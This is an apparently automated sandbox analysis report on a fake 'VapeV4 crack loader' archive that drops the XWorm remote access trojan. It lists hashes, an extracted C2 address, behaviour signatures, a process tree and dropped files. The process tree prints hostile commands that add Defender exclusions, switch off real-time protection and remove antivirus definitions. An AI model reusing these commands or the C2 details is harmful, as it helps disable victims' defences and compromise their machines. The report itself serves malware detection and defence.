Analysis

  • max time kernel
    75s
  • max time network
    80s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    21-06-2024 05:14

General

  • Target

    VapeV4-crack-loader-main.zip

  • Size

    9.2MB

  • MD5

    ea57731fb8c3ffabdeae90c26d4b0fcc

  • SHA1

    d63650592a3864aa36a33028444e8422b213f50b

  • SHA256

    7928b1e29853be208f9cd41ce51181c80c2654789d509142f784cdb391886e63

  • SHA512

    e97a56aaf1221f327bfb63751ebe2afe2f1a60281d230b501209ee80a3485b1fffe1fe47bc20ad94ad758f911e1c00f06ce8adeea5cbcf2883940919fd00d258

  • SSDEEP

    196608:b0RdM6c50RdM6chixuvQ3eGDRHAnJXUf8DVgv8FfaNweCMS0RdM6cA:b0b650b6HcenJEUDqv8Fi2eCJ0b6A

Malware Config

Extracted

Family

xworm

C2

into-hybrid.gl.at.ply.gg:56462

Attributes
  • Install_directory

    %AppData%

  • install_file

    Defender.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 48 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\VapeV4-crack-loader-main.zip
    1⤵
      PID:4108
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1340
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\vape-loader.bat" "
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:5060
        • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe
          "g-build.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1052
          • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe
            "g-build.exe"
            3⤵
            • Loads dropped DLL
            • Suspicious use of WriteProcessMemory
            PID:2680
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe'"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4128
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe'
                5⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4116
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3116
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3528
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Download latest version at : wazkonetwork.com/project', 0, 'Old version detected', 0+16);close()""
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1840
              • C:\Windows\system32\mshta.exe
                mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Download latest version at : wazkonetwork.com/project', 0, 'Old version detected', 0+16);close()"
                5⤵
                  PID:4724
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:4044
                • C:\Windows\system32\tasklist.exe
                  tasklist /FO LIST
                  5⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2336
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:2764
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic csproduct get uuid
                  5⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1628
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3780
                • C:\Windows\system32\reg.exe
                  REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                  5⤵
                    PID:3140
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1832
                  • C:\Windows\system32\reg.exe
                    REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                    5⤵
                      PID:3916
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3600
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic path win32_VideoController get name
                      5⤵
                      • Detects videocard installed
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3596
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:696
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic path win32_VideoController get name
                      5⤵
                      • Detects videocard installed
                      PID:1916
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe""
                    4⤵
                    • Hide Artifacts: Hidden Files and Directories
                    PID:5032
                    • C:\Windows\system32\attrib.exe
                      attrib +h +s "C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe"
                      5⤵
                      • Views/modifies file attributes
                      PID:2884
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'"
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1500
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\     .scr'
                      5⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4160
              • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\r-build.exe
                "r-build.exe"
                2⤵
                • Drops startup file
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:4960
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\r-build.exe'
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3324
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'r-build.exe'
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4712
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Defender.exe'
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1812
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Defender.exe'
                  3⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1840
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\vape-loader.bat"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:2472
              • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe
                "g-build.exe"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:480
                • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe
                  "g-build.exe"
                  3⤵
                  • Loads dropped DLL
                  PID:1884
              • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\r-build.exe
                "r-build.exe"
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2468
            • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe
              "C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe"
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:988
              • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe
                "C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\g-build.exe"
                2⤵
                • Loads dropped DLL
                PID:468
            • C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\r-build.exe
              "C:\Users\Admin\Desktop\VapeV4-crack-loader-main\VapeV4-crack-loader-main\bin\exe\exec\r-build.exe"
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1728

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
              Filesize

              2KB

              MD5

              627073ee3ca9676911bee35548eff2b8

              SHA1

              4c4b68c65e2cab9864b51167d710aa29ebdcff2e

              SHA256

              85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

              SHA512

              3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              Filesize

              944B

              MD5

              e3840d9bcedfe7017e49ee5d05bd1c46

              SHA1

              272620fb2605bd196df471d62db4b2d280a363c6

              SHA256

              3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

              SHA512

              76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\VCRUNTIME140.dll
              Filesize

              96KB

              MD5

              f12681a472b9dd04a812e16096514974

              SHA1

              6fd102eb3e0b0e6eef08118d71f28702d1a9067c

              SHA256

              d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

              SHA512

              7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_bz2.pyd
              Filesize

              46KB

              MD5

              0c13627f114f346604b0e8cbc03baf29

              SHA1

              bf77611d924df2c80aabcc3f70520d78408587a2

              SHA256

              df1e666b55aae6ede59ef672d173bd0d64ef3e824a64918e081082b8626a5861

              SHA512

              c97fa0f0988581eae5194bd6111c1d9c0e5b1411bab47df5aa7c39aad69bfbeca383514d6aaa45439bb46eacf6552d7b7ed08876b5e6864c8507eaa0a72d4334

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_ctypes.pyd
              Filesize

              57KB

              MD5

              38fb83bd4febed211bd25e19e1cae555

              SHA1

              4541df6b69d0d52687edb12a878ae2cd44f82db6

              SHA256

              cd31af70cbcfe81b01a75ebeb2de86079f4cbe767b75c3b5799ef8b9f0392d65

              SHA512

              f703b231b675c45accb1f05cd34319b5b3b7583d85bf2d54194f9e7c704fbcd82ef2a2cd286e6a50234f02c43616fbeccfd635aefd73424c1834f5dca52c0931

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_decimal.pyd
              Filesize

              104KB

              MD5

              7ba541defe3739a888be466c999c9787

              SHA1

              ad0a4df9523eeeafc1e67b0e4e3d7a6cf9c4dfac

              SHA256

              f90efa10d90d940cde48aafe02c13a0fc0a1f0be7f3714856b7a1435f5decf29

              SHA512

              9194a527a17a505d049161935432fa25ba154e1aee6306dee9054071f249c891f0ca7839de3a21d09b57fdc3f29ee7c4f08237b0dfffafa8f0078cfe464bed3b

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_hashlib.pyd
              Filesize

              33KB

              MD5

              596df8ada4b8bc4ae2c2e5bbb41a6c2e

              SHA1

              e814c2e2e874961a18d420c49d34b03c2b87d068

              SHA256

              54348cfbf95fd818d74014c16343d9134282d2cf238329eec2cda1e2591565ec

              SHA512

              e16aad5230e4af7437b19c3db373b1a0a0a84576b608b34430cced04ffc652c6fb5d8a1fe1d49ac623d8ae94c8735800c6b0a12c531dcdd012b05b5fd61dff2e

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_lzma.pyd
              Filesize

              84KB

              MD5

              8d9e1bb65a192c8446155a723c23d4c5

              SHA1

              ea02b1bf175b7ef89ba092720b3daa0c11bef0f0

              SHA256

              1549fe64b710818950aa9bf45d43fe278ce59f3b87b3497d2106ff793efa6cf7

              SHA512

              4d67306fe8334f772fe9d463cb4f874a8b56d1a4ad3825cff53cae4e22fa3e1adba982f4ea24785312b73d84a52d224dfb4577c1132613aa3ae050a990e4abdf

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_queue.pyd
              Filesize

              24KB

              MD5

              fbbbfbcdcf0a7c1611e27f4b3b71079e

              SHA1

              56888df9701f9faa86c03168adcd269192887b7b

              SHA256

              699c1f0f0387511ef543c0df7ef81a13a1cffde4ce4cd43a1baf47a893b99163

              SHA512

              0a5ba701653ce9755048ae7b0395a15fbb35509bef7c4b4fe7f11dc4934f3bd298bcddbf2a05b61f75f8eb44c4c41b3616f07f9944e0620b031cbe87a7443284

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_socket.pyd
              Filesize

              41KB

              MD5

              4351d7086e5221398b5b78906f4e84ac

              SHA1

              ba515a14ec1b076a6a3eab900df57f4f37be104d

              SHA256

              a0fa25eef91825797f01754b7d7cf5106e355cf21322e926632f90af01280abe

              SHA512

              a1bcf51e797ccae58a0b4cfe83546e5e11f8fc011ca3568578c42e20bd7a367a5e1fa4237fb57aa84936eec635337e457a61a2a4d6eca3e90e6dde18ae808025

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_sqlite3.pyd
              Filesize

              54KB

              MD5

              d678600c8af1eeeaa5d8c1d668190608

              SHA1

              080404040afc8b6e5206729dd2b9ee7cf2cb70bc

              SHA256

              d6960f4426c09a12488eb457e62506c49a58d62a1cb16fbc3ae66b260453c2ed

              SHA512

              8fd5f0fd5bd60c6531e1b4ad867f81da92d5d54674028755e5680fb6005e6444805003d55b6cbaf4cdad7b4b301cffab7b010229f6fd9d366405b8ade1af72d9

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\_ssl.pyd
              Filesize

              60KB

              MD5

              156b1fa2f11c73ed25f63ee20e6e4b26

              SHA1

              36189a5cde36d31664acbd530575a793fc311384

              SHA256

              a9b5f6c7a94fb6bfaf82024f906465ff39f9849e4a72a98a9b03fc07bf26da51

              SHA512

              a8181ffeb3cf8ef2a25357217a3dd05242cc0165473b024cf0aeb3f42e21e52c2550d227a1b83a6e5dab33a185d78e86e495e9634e4f4c5c4a1aec52c5457dca

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\base_library.zip
              Filesize

              1.4MB

              MD5

              c362c2fbddaaa631b561d66002fc766d

              SHA1

              76bba342034f0a5a8b8625f18f131b9b9f915cdc

              SHA256

              679693ed217e10a8fe15a220bafbaa54914670a70ba676d9c7531c2a5aacaaeb

              SHA512

              7bd99e029e30ab81a4762ca3f3894e72e8be7ff577ce7a3a07bd9efc303a3f0651bff8ba9bc1c38ce507453e151e9f4801492ab0daf1bbb791b9665d582748b9

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\blank.aes
              Filesize

              114KB

              MD5

              968d147ea436c9ec847c0e5176be7bb6

              SHA1

              afd477b22dbef959af32f374226f666f0ab5ac90

              SHA256

              c3524dfb3681fdd3e2fa8abd64eb8e972fe0b40c9076b5a3358f30e11c05cff0

              SHA512

              14935455925a293a2a4684de942807983683eb245674c7bc54669bd005e33ba287af6b3fc09d413c7040f7b247fb2f2fcf1c3e36bdba1852c6c471e32023afd4

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\libcrypto-1_1.dll
              Filesize

              1.1MB

              MD5

              daa2eed9dceafaef826557ff8a754204

              SHA1

              27d668af7015843104aa5c20ec6bbd30f673e901

              SHA256

              4dab915333d42f071fe466df5578fd98f38f9e0efa6d9355e9b4445ffa1ca914

              SHA512

              7044715550b7098277a015219688c7e7a481a60e4d29f5f6558b10c7ac29195c6d5377dc234da57d9def0c217bb3d7feca332a64d632ca105503849f15e057ea

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\libffi-8.dll
              Filesize

              24KB

              MD5

              90a6b0264a81bb8436419517c9c232fa

              SHA1

              17b1047158287eb6471416c5df262b50d6fe1aed

              SHA256

              5c4a0d4910987a38a3cd31eae5f1c909029f7762d1a5faf4a2e2a7e9b1abab79

              SHA512

              1988dd58d291ee04ebfec89836bb14fcaafb9d1d71a93e57bd06fe592feace96cdde6fcce46ff8747339659a9a44cdd6cf6ac57ff495d0c15375221bf9b1666e

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\libssl-1_1.dll
              Filesize

              203KB

              MD5

              eac369b3fde5c6e8955bd0b8e31d0830

              SHA1

              4bf77158c18fe3a290e44abd2ac1834675de66b4

              SHA256

              60771fb23ee37b4414d364e6477490324f142a907308a691f3dd88dc25e38d6c

              SHA512

              c51f05d26fda5e995fe6763877d4fcdb89cd92ef2d6ee997e49cc1ee7a77146669d26ec00ad76f940ef55adae82921dede42e55f51bd10d1283ecfe7c5009778

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\python311.dll
              Filesize

              1.6MB

              MD5

              bb46b85029b543b70276ad8e4c238799

              SHA1

              123bdcd9eebcac1ec0fd2764a37e5e5476bb0c1c

              SHA256

              72c24e1db1ba4df791720a93ca9502d77c3738eebf8b9092a5d82aa8d80121d0

              SHA512

              5e993617509c1cf434938d6a467eb0494e04580ad242535a04937f7c174d429da70a6e71792fc3de69e103ffc5d9de51d29001a4df528cfffefdaa2cef4eaf31

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\rar.exe
              Filesize

              615KB

              MD5

              9c223575ae5b9544bc3d69ac6364f75e

              SHA1

              8a1cb5ee02c742e937febc57609ac312247ba386

              SHA256

              90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

              SHA512

              57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\rarreg.key
              Filesize

              456B

              MD5

              4531984cad7dacf24c086830068c4abe

              SHA1

              fa7c8c46677af01a83cf652ef30ba39b2aae14c3

              SHA256

              58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

              SHA512

              00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\select.pyd
              Filesize

              24KB

              MD5

              abf7864db4445bbbd491c8cff0410ae0

              SHA1

              4b0f3c5c7bf06c81a2c2c5693d37ef49f642a9b7

              SHA256

              ddeade367bc15ea09d42b2733d88f092da5e880362eabe98d574bc91e03de30e

              SHA512

              8f55084ee137416e9d61fe7de19e4cff25a4b752494e9b1d6f14089448ef93e15cd820f9457c6ce9268781bd08e3df41c5284801f03742bc5c40b3b81fb798c5

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\sqlite3.dll
              Filesize

              608KB

              MD5

              ddd0dd698865a11b0c5077f6dd44a9d7

              SHA1

              46cd75111d2654910f776052cc30b5e1fceb5aee

              SHA256

              a9dd0275131105df5611f31a9e6fbf27fd77d0a35d1a73a9f4941235fbc68bd7

              SHA512

              b2ee469ea5a6f49bbdd553363baa8ebad2baf13a658d0d0c167fde7b82eb77a417d519420db64f325d0224f133e3c5267df3aa56c11891d740d6742adf84dbe4

            • C:\Users\Admin\AppData\Local\Temp\_MEI10522\unicodedata.pyd
              Filesize

              293KB

              MD5

              bb3fca6f17c9510b6fb42101fe802e3c

              SHA1

              cb576f3dbb95dc5420d740fd6d7109ef2da8a99d

              SHA256

              5e2f1bbfe3743a81b00717011094798929a764f64037bedb7ea3d2ed6548eb87

              SHA512

              05171c867a5d373d4f6420136b6ac29fa846a85b30085f9d7fabcbb4d902afee00716dd52010ed90e97c18e6cb4e915f13f31a15b2d8507e3a6cfa80e513b6a2

            • C:\Users\Admin\AppData\Local\Temp\_MEI4802\blank.aes
              Filesize

              113KB

              MD5

              3b528ab27d7bc3453f1b15d24df68c31

              SHA1

              149de1710b7fff69509819cd24ff418c7af7928e

              SHA256

              40e7127143493fe5dfde4bfaacec43ce8344897d452e91a3caae4abd0bc006ad

              SHA512

              54f2ba413ad6025c6ab575770b290fc6269f7746ad3987c5f9a09ff85dca4f6e9fedd2535a572c7e06ff9861125dce66f1db1438e718251e6ac0ed3c5d51845d

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfr11hw0.chz.ps1
              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • memory/468-281-0x00007FFD9E220000-0x00007FFD9E22D000-memory.dmp
              Filesize

              52KB

            • memory/468-284-0x00007FFD88B20000-0x00007FFD88BD8000-memory.dmp
              Filesize

              736KB

            • memory/468-303-0x00007FFD9E230000-0x00007FFD9E23F000-memory.dmp
              Filesize

              60KB

            • memory/468-304-0x00007FFD87D90000-0x00007FFD87DBD000-memory.dmp
              Filesize

              180KB

            • memory/468-305-0x00007FFD87D70000-0x00007FFD87D89000-memory.dmp
              Filesize

              100KB

            • memory/468-306-0x00007FFD87D40000-0x00007FFD87D63000-memory.dmp
              Filesize

              140KB

            • memory/468-307-0x00007FFD87990000-0x00007FFD87B03000-memory.dmp
              Filesize

              1.4MB

            • memory/468-308-0x00007FFD8D970000-0x00007FFD8D989000-memory.dmp
              Filesize

              100KB

            • memory/468-309-0x00007FFD9E220000-0x00007FFD9E22D000-memory.dmp
              Filesize

              52KB

            • memory/468-310-0x00007FFD8D940000-0x00007FFD8D96E000-memory.dmp
              Filesize

              184KB

            • memory/468-311-0x00007FFD88BE0000-0x00007FFD88F55000-memory.dmp
              Filesize

              3.5MB

            • memory/468-298-0x00007FFD88B20000-0x00007FFD88BD8000-memory.dmp
              Filesize

              736KB

            • memory/468-283-0x00007FFD88BE0000-0x00007FFD88F55000-memory.dmp
              Filesize

              3.5MB

            • memory/468-260-0x00007FFD8DD60000-0x00007FFD8DD84000-memory.dmp
              Filesize

              144KB

            • memory/468-302-0x00007FFD8DD60000-0x00007FFD8DD84000-memory.dmp
              Filesize

              144KB

            • memory/468-280-0x00007FFD8D970000-0x00007FFD8D989000-memory.dmp
              Filesize

              100KB

            • memory/468-257-0x00007FFD86F10000-0x00007FFD874F8000-memory.dmp
              Filesize

              5.9MB

            • memory/468-301-0x00007FFD86F10000-0x00007FFD874F8000-memory.dmp
              Filesize

              5.9MB

            • memory/468-282-0x00007FFD8D940000-0x00007FFD8D96E000-memory.dmp
              Filesize

              184KB

            • memory/468-286-0x00007FFD97D80000-0x00007FFD97D8D000-memory.dmp
              Filesize

              52KB

            • memory/468-277-0x00007FFD87990000-0x00007FFD87B03000-memory.dmp
              Filesize

              1.4MB

            • memory/468-285-0x00007FFD88A30000-0x00007FFD88A44000-memory.dmp
              Filesize

              80KB

            • memory/468-274-0x00007FFD87D90000-0x00007FFD87DBD000-memory.dmp
              Filesize

              180KB

            • memory/468-275-0x00007FFD87D70000-0x00007FFD87D89000-memory.dmp
              Filesize

              100KB

            • memory/468-276-0x00007FFD87D40000-0x00007FFD87D63000-memory.dmp
              Filesize

              140KB

            • memory/468-261-0x00007FFD9E230000-0x00007FFD9E23F000-memory.dmp
              Filesize

              60KB

            • memory/1812-279-0x000001B81CE70000-0x000001B81CFBF000-memory.dmp
              Filesize

              1.3MB

            • memory/1840-321-0x000002401C720000-0x000002401C86F000-memory.dmp
              Filesize

              1.3MB

            • memory/1884-144-0x00007FFD97D80000-0x00007FFD97D8F000-memory.dmp
              Filesize

              60KB

            • memory/1884-177-0x00007FFD88330000-0x00007FFD886A5000-memory.dmp
              Filesize

              3.5MB

            • memory/1884-136-0x00007FFD88970000-0x00007FFD88F58000-memory.dmp
              Filesize

              5.9MB

            • memory/1884-194-0x00007FFD88310000-0x00007FFD88324000-memory.dmp
              Filesize

              80KB

            • memory/1884-164-0x00007FFD8D960000-0x00007FFD8D98D000-memory.dmp
              Filesize

              180KB

            • memory/1884-167-0x00007FFD8D940000-0x00007FFD8D959000-memory.dmp
              Filesize

              100KB

            • memory/1884-168-0x00007FFD887C0000-0x00007FFD88933000-memory.dmp
              Filesize

              1.4MB

            • memory/1884-182-0x00007FFD93880000-0x00007FFD9388D000-memory.dmp
              Filesize

              52KB

            • memory/1884-170-0x00007FFD88940000-0x00007FFD88963000-memory.dmp
              Filesize

              140KB

            • memory/1884-189-0x00007FFD887A0000-0x00007FFD887B9000-memory.dmp
              Filesize

              100KB

            • memory/1884-173-0x00007FFD942A0000-0x00007FFD942AD000-memory.dmp
              Filesize

              52KB

            • memory/1884-172-0x00007FFD887A0000-0x00007FFD887B9000-memory.dmp
              Filesize

              100KB

